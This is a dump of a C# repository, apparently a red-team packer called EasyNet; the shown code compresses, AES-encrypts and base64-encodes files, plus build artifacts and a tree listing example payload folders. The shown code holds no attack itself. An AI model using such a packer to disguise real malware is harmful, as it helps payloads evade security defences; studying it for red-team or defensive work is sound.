├── .gitignore ├── EasyNet ├── .vs │ └── EasyNet │ │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ ├── storage.ide │ │ ├── storage.ide-shm │ │ └── storage.ide-wal ├── App.config ├── EasyNet.csproj ├── EasyNet.csproj.user ├── EasyNet.sln ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── bin │ ├── Debug │ │ ├── EasyNet.exe │ │ ├── EasyNet.exe.config │ │ ├── EasyNet.pdb │ │ ├── EasyNetLibrary.dll │ │ ├── EasyNetLibrary.pdb │ │ ├── testinput.txt │ │ ├── testoutput.txt │ │ ├── testoutput2.txt │ │ └── testoutputunpacked.txt │ └── Release │ │ ├── EasyNet.exe │ │ ├── EasyNet.exe.config │ │ ├── EasyNet.pdb │ │ ├── EasyNetLibrary.dll │ │ └── EasyNetLibrary.pdb └── obj │ ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── EasyNet.csproj.CopyComplete │ ├── EasyNet.csproj.CoreCompileInputs.cache │ ├── EasyNet.csproj.FileListAbsolute.txt │ ├── EasyNet.csprojAssemblyReference.cache │ ├── EasyNet.exe │ ├── EasyNet.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ └── project.razor.json │ └── Release │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── EasyNet.csproj.CopyComplete │ ├── EasyNet.csproj.CoreCompileInputs.cache │ ├── EasyNet.csproj.FileListAbsolute.txt │ ├── EasyNet.csprojAssemblyReference.cache │ ├── EasyNet.exe │ ├── EasyNet.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── EasyNetLibrary ├── ClassDiagram1.cd ├── EasyNetLibrary.csproj ├── EasyNetPacker.cs ├── Properties │ └── AssemblyInfo.cs ├── README.md ├── bin │ ├── Debug │ │ ├── EasyNetLibrary.dll │ │ └── EasyNetLibrary.pdb │ └── Release │ │ ├── EasyNetLibrary.dll │ │ └── EasyNetLibrary.pdb └── obj │ ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── EasyNetLibrary.csproj.CoreCompileInputs.cache │ ├── EasyNetLibrary.csproj.FileListAbsolute.txt │ ├── EasyNetLibrary.dll │ ├── EasyNetLibrary.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ └── project.razor.json │ └── Release │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── EasyNetLibrary.csproj.CoreCompileInputs.cache │ ├── EasyNetLibrary.csproj.FileListAbsolute.txt │ ├── EasyNetLibrary.dll │ ├── EasyNetLibrary.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── ExamplePayload ├── Readme.md ├── TestCode.cs └── msbuild_example.xml ├── ExampleWrapper ├── .keep ├── App.config ├── ExampleWrapper.csproj ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── README.md ├── Resources │ ├── HelloWorld.exe │ └── HelloWorldPacked.txt ├── bin │ ├── Debug │ │ ├── EasyNetLibrary.dll │ │ ├── EasyNetLibrary.pdb │ │ ├── ExampleWrapper.exe │ │ ├── ExampleWrapper.exe.config │ │ └── ExampleWrapper.pdb │ └── Release │ │ ├── EasyNetLibrary.dll │ │ ├── EasyNetLibrary.pdb │ │ ├── ExampleWrapper.exe │ │ ├── ExampleWrapper.exe.config │ │ └── ExampleWrapper.pdb └── obj │ ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── ExampleWrapper.Properties.Resources.resources │ ├── ExampleWrapper.csproj.CopyComplete │ ├── ExampleWrapper.csproj.CoreCompileInputs.cache │ ├── ExampleWrapper.csproj.FileListAbsolute.txt │ ├── ExampleWrapper.csproj.GenerateResource.cache │ ├── ExampleWrapper.csprojAssemblyReference.cache │ ├── ExampleWrapper.exe │ ├── ExampleWrapper.pdb │ ├── TempPE │ │ └── Properties.Resources.Designer.cs.dll │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ └── project.razor.json │ └── Release │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── ExampleWrapper.Properties.Resources.resources │ ├── ExampleWrapper.csproj.CopyComplete │ ├── ExampleWrapper.csproj.CoreCompileInputs.cache │ ├── ExampleWrapper.csproj.FileListAbsolute.txt │ ├── ExampleWrapper.csproj.GenerateResource.cache │ ├── ExampleWrapper.csprojAssemblyReference.cache │ ├── ExampleWrapper.exe │ ├── ExampleWrapper.pdb │ ├── TempPE │ └── Properties.Resources.Designer.cs.dll │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── LICENSE ├── README.md └── img ├── API.JPG ├── API.PNG ├── packing.JPG ├── packing.PNG ├── unpacking.JPG ├── unpacking.PNG ├── usage.JPG └── usage.PNG /.gitignore: -------------------------------------------------------------------------------- 1 | #Ignore the Visual Studios stuff 2 | /.vs/* -------------------------------------------------------------------------------- /EasyNet/.vs/EasyNet/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/.vs/EasyNet/v15/.suo -------------------------------------------------------------------------------- /EasyNet/.vs/EasyNet/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/.vs/EasyNet/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/.vs/EasyNet/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /EasyNet/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /EasyNet/EasyNet.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3097D856-25C2-42C9-8D59-2CDAD8E8EA12} 8 | Exe 9 | EasyNet 10 | EasyNet 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | {ba33f716-91e0-4cf7-b9bd-b4d558f9a173} 58 | EasyNetLibrary 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /EasyNet/EasyNet.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | --pack testinput.txt > testoutput2.txt 5 | 6 | -------------------------------------------------------------------------------- /EasyNet/EasyNet.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EasyNet", "EasyNet.csproj", "{3097D856-25C2-42C9-8D59-2CDAD8E8EA12}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EasyNetLibrary", "..\EasyNetLibrary\EasyNetLibrary.csproj", "{BA33F716-91E0-4CF7-B9BD-B4D558F9A173}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExampleWrapper", "..\ExampleWrapper\ExampleWrapper.csproj", "{37D6DD3F-5457-4D8B-A2E1-C7B156B176E5}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Any CPU = Debug|Any CPU 15 | Release|Any CPU = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {3097D856-25C2-42C9-8D59-2CDAD8E8EA12}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {3097D856-25C2-42C9-8D59-2CDAD8E8EA12}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {3097D856-25C2-42C9-8D59-2CDAD8E8EA12}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {3097D856-25C2-42C9-8D59-2CDAD8E8EA12}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {BA33F716-91E0-4CF7-B9BD-B4D558F9A173}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {BA33F716-91E0-4CF7-B9BD-B4D558F9A173}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {BA33F716-91E0-4CF7-B9BD-B4D558F9A173}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {BA33F716-91E0-4CF7-B9BD-B4D558F9A173}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {37D6DD3F-5457-4D8B-A2E1-C7B156B176E5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {37D6DD3F-5457-4D8B-A2E1-C7B156B176E5}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {37D6DD3F-5457-4D8B-A2E1-C7B156B176E5}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {37D6DD3F-5457-4D8B-A2E1-C7B156B176E5}.Release|Any CPU.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {257F3BC4-2834-45FB-9775-78DC66CB5135} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /EasyNet/Program.cs: -------------------------------------------------------------------------------- 1 | /* Description: A minimal packer that uses the EasyNet packing algorithm. 2 | * 3 | * Author: The Wover 4 | * 5 | * Referemces: 6 | * GZip .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream 7 | * AES .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesmanaged 8 | * Base64 .NET API: https://docs.microsoft.com/en-us/dotnet/api/system.convert.tobase64string 9 | */ 10 | 11 | using System; 12 | using System.Text; 13 | using System.Security.Cryptography; 14 | using System.IO; 15 | using EasyNetLibrary; 16 | 17 | namespace EasyNet 18 | { 19 | /// 20 | /// 21 | /// 22 | class Program 23 | { 24 | /// 25 | /// Entry point. 26 | /// 27 | /// Command-line arguments 28 | static void Main(string[] args) 29 | { 30 | if (args.Length > 0) 31 | { 32 | if (args[0] == "--pack") 33 | { 34 | 35 | //Check if we have the correct number of command-line arguments 36 | if (args.Length < 2) 37 | { 38 | Console.WriteLine("Error: Invalid number of command-line arguments."); 39 | 40 | //Exit with error 41 | Environment.Exit(1); 42 | } 43 | else 44 | { 45 | try 46 | { 47 | //Pack the file and get the results wrapped with the data necessary to unpack it. 48 | EasyNetResult packed = EasyNetPacker.Pack(File.ReadAllBytes(args[1])); 49 | 50 | 51 | //No output file specified 52 | if (args.Length == 2) 53 | { 54 | 55 | //Write the packed data to stdout 56 | Console.Write(packed.blob); 57 | } 58 | else 59 | { 60 | 61 | //Write the packed data to the output file. 62 | File.WriteAllBytes(args[2], Encoding.ASCII.GetBytes(packed.blob)); 63 | } 64 | 65 | //Formatting 66 | Console.Error.WriteLine(""); 67 | 68 | //Provide the user with the AES variables 69 | Console.Error.WriteLine("AES Key: {0}", packed.key); 70 | Console.Error.WriteLine("AES IV: {0}", packed.iv); 71 | 72 | 73 | } 74 | catch (CryptographicException except) 75 | { 76 | Console.WriteLine("Cryptographic Error: {0}", except.Message + "\n"); 77 | 78 | Environment.Exit(1); 79 | } 80 | catch (FormatException except) 81 | { 82 | Console.WriteLine("Format Error: {0}", except.Message + "\n"); 83 | 84 | Environment.Exit(1); 85 | } 86 | catch (FileNotFoundException except) 87 | { 88 | Console.WriteLine("File Error: {0}", except.Message + "\n"); 89 | 90 | Environment.Exit(1); 91 | } 92 | } 93 | } 94 | else if (args[0] == "--unpack") 95 | { 96 | //Check if we have the correct number of command-line arguments 97 | if (args.Length < 4) 98 | { 99 | Console.WriteLine("Error: Invalid number of command-line arguments."); 100 | 101 | //Exit with error 102 | Environment.Exit(1); 103 | } 104 | //Correct number of command-line arguments 105 | else 106 | { 107 | //Wrap in a try block in case base64 conversion or unpacking fails. 108 | try 109 | { 110 | //Create the struct that wraps the packed data with the data necessary to unpack it. 111 | EasyNetResult packed = new EasyNetResult(Encoding.ASCII.GetString(File.ReadAllBytes(args[3])), args[1], args[2]); 112 | 113 | //No output file specified 114 | if (args.Length == 4) 115 | { 116 | //Write the packed data to stdout 117 | Console.Write(Encoding.ASCII.GetString(EasyNetPacker.Unpack(packed))); 118 | } 119 | else 120 | { 121 | 122 | //Unpack the data and write the result to the output file. 123 | File.WriteAllBytes(args[4], EasyNetPacker.Unpack(packed)); 124 | 125 | Console.Error.WriteLine("\nUnpacked to " + args[4] + "."); 126 | } 127 | } 128 | catch (CryptographicException except) 129 | { 130 | Console.WriteLine("Cryptographic Error: {0}", except.Message + "\n"); 131 | 132 | Environment.Exit(1); 133 | } 134 | catch (FormatException except) 135 | { 136 | Console.WriteLine("Format Error: {0}", except.Message + "\n"); 137 | 138 | Environment.Exit(1); 139 | } 140 | catch (FileNotFoundException except) 141 | { 142 | Console.WriteLine("File Error: {0}", except.Message + "\n"); 143 | 144 | Environment.Exit(1); 145 | } 146 | } 147 | } 148 | //The user asked for the usage 149 | else if (args[0] == "--help" || args[0] == "-h" || args[0] == "/?") 150 | { 151 | //Print the usage 152 | PrintUsage(); 153 | 154 | //Exit 155 | Environment.Exit(0); 156 | } 157 | else 158 | { 159 | Console.WriteLine("Error: Invalid number of command-line arguments."); 160 | 161 | //Print the usage 162 | PrintUsage(); 163 | 164 | //Exit 165 | Environment.Exit(0); 166 | } 167 | } 168 | else 169 | { 170 | //Print the usage 171 | PrintUsage(); 172 | 173 | //Exit 174 | Environment.Exit(0); 175 | } 176 | }//end method 177 | 178 | /// 179 | /// Prints the usage instructions for the program. 180 | /// 181 | private static void PrintUsage() 182 | { 183 | Console.WriteLine("Usage:\n"); 184 | 185 | Console.WriteLine("Packing: EasyNet.exe --pack input_file output_file"); 186 | Console.WriteLine("Unpacking: EasyNet.exe --unpack AES_Key AES_IV input_file output_file"); 187 | } 188 | }//end method 189 | }//end namespace 190 | -------------------------------------------------------------------------------- /EasyNet/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("EasyNet")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EasyNet")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3097d856-25c2-42c9-8d59-2cdad8e8ea12")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /EasyNet/bin/Debug/EasyNet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Debug/EasyNet.exe -------------------------------------------------------------------------------- /EasyNet/bin/Debug/EasyNet.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /EasyNet/bin/Debug/EasyNet.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Debug/EasyNet.pdb -------------------------------------------------------------------------------- /EasyNet/bin/Debug/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Debug/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNet/bin/Debug/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Debug/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNet/bin/Debug/testinput.txt: -------------------------------------------------------------------------------- 1 | Hello World!tbdfgvfawes tgresrfgnlhse rhfbwn vj,n fj avjlksdnfkjawenfkajwlsdnvkjzs nvkj ndfkjnvkj nlfjkhbawjvknzdf,vz,sddkjvz,jhnfksjddnfjfhfkvj,dxfh vjksnjhehn.lwnfvj,xhdfvk.anwsfkbwrjvz,kfjvjahkvkdfjnvm -------------------------------------------------------------------------------- /EasyNet/bin/Debug/testoutput.txt: -------------------------------------------------------------------------------- 1 | 0tx2Vsd+ijXYAbkJDuJc6FpvqZOh2zsp1V/kcwhIeXSnzaZgczQTpgPmiL0W+NDAxg4VMJyjdXEOMfclUJN7xeQplU7PtmKNTOZLDOOWSHmu33JeMLsDOKe3r5n98vOz/8OznxvzTDh1Ic7AnbjjUSfhQ5TtI62NjK5d6Hhc+hKOu47tER0ONQSzFIybcOj5/FonV+ccpmbqIHYtYxt/gw== -------------------------------------------------------------------------------- /EasyNet/bin/Debug/testoutput2.txt: -------------------------------------------------------------------------------- 1 | j0MD7OGTJZnXSuKqaCggMloRBc/bB1znY+/5M/HWXEh971flKvkMlqoc/2qnehR4MCUgclEIsx4wrfiDsoZ3/ROsqxqa/2t+qPkG5t4yCZSHvghGvqQ9DR9gY55lmPTarY2GEcO44GaWGLTIMFK7gPAw3et5OcwXUq53RFzB9VHhRRtFwXxJeo8UdmtJy2IL1Hx9kdAURZsx5gX47EQ+vA== -------------------------------------------------------------------------------- /EasyNet/bin/Debug/testoutputunpacked.txt: -------------------------------------------------------------------------------- 1 | Hello World!tbdfgvfawes tgresrfgnlhse rhfbwn vj,n fj avjlksdnfkjawenfkajwlsdnvkjzs nvkj ndfkjnvkj nlfjkhbawjvknzdf,vz,sddkjvz,jhnfksjddnfjfhfkvj,dxfh vjksnjhehn.lwnfvj,xhdfvk.anwsfkbwrjvz,kfjvjahkvkdfjnvm -------------------------------------------------------------------------------- /EasyNet/bin/Release/EasyNet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Release/EasyNet.exe -------------------------------------------------------------------------------- /EasyNet/bin/Release/EasyNet.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /EasyNet/bin/Release/EasyNet.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Release/EasyNet.pdb -------------------------------------------------------------------------------- /EasyNet/bin/Release/EasyNetLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Release/EasyNetLibrary.dll -------------------------------------------------------------------------------- /EasyNet/bin/Release/EasyNetLibrary.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/bin/Release/EasyNetLibrary.pdb -------------------------------------------------------------------------------- /EasyNet/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/EasyNet.csproj.CopyComplete -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 0f9b6dfc6f37178f7645f6bcaf979d19fb691a86 2 | -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Debug\EasyNet.exe.config 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Debug\EasyNet.exe 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Debug\EasyNet.pdb 4 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Debug\EasyNet.csproj.CoreCompileInputs.cache 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Debug\EasyNet.exe 6 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Debug\EasyNet.pdb 7 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Debug\EasyNet.csprojAssemblyReference.cache 8 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\obj\Debug\EasyNet.csproj.CopyComplete 9 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Debug\EasyNetLibrary.dll 10 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Debug\EasyNetLibrary.pdb 11 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Debug\EasyNet.exe.config 12 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Debug\EasyNet.exe 13 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Debug\EasyNet.pdb 14 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Debug\EasyNetLibrary.dll 15 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\bin\Debug\EasyNetLibrary.pdb 16 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Debug\EasyNet.csprojAssemblyReference.cache 17 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Debug\EasyNet.csproj.CoreCompileInputs.cache 18 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Debug\EasyNet.csproj.CopyComplete 19 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Debug\EasyNet.exe 20 | C:\Users\Shawn\Documents\GitHub\EasyNet\EasyNet\obj\Debug\EasyNet.pdb 21 | -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/EasyNet.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/EasyNet.exe -------------------------------------------------------------------------------- /EasyNet/obj/Debug/EasyNet.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/EasyNet.pdb -------------------------------------------------------------------------------- /EasyNet/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /EasyNet/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /EasyNet/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /EasyNet/obj/Debug/project.razor.json: -------------------------------------------------------------------------------- 1 | { 2 | "ProjectFilePath": "c:\\Users\\Shawn\\Documents\\GitHub\\EasyNet\\EasyNet\\EasyNet.csproj", 3 | "TargetFramework": "v4.7.2", 4 | "TagHelpers": [], 5 | "Configuration": { 6 | "ConfigurationName": "UnsupportedRazor", 7 | "LanguageVersion": "1.0", 8 | "Extensions": [ 9 | { 10 | "ExtensionName": "UnsupportedRazorExtension" 11 | } 12 | ] 13 | } 14 | } -------------------------------------------------------------------------------- /EasyNet/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/EasyNet/obj/Release/EasyNet.csproj.CopyComplete -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 697a77b73bde6bed13137211874c46ef19b20711 2 | -------------------------------------------------------------------------------- /EasyNet/obj/Release/EasyNet.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Release\EasyNet.exe.config 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Release\EasyNet.exe 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\EasyNet\bin\Release\EasyNet.pdb 4 | 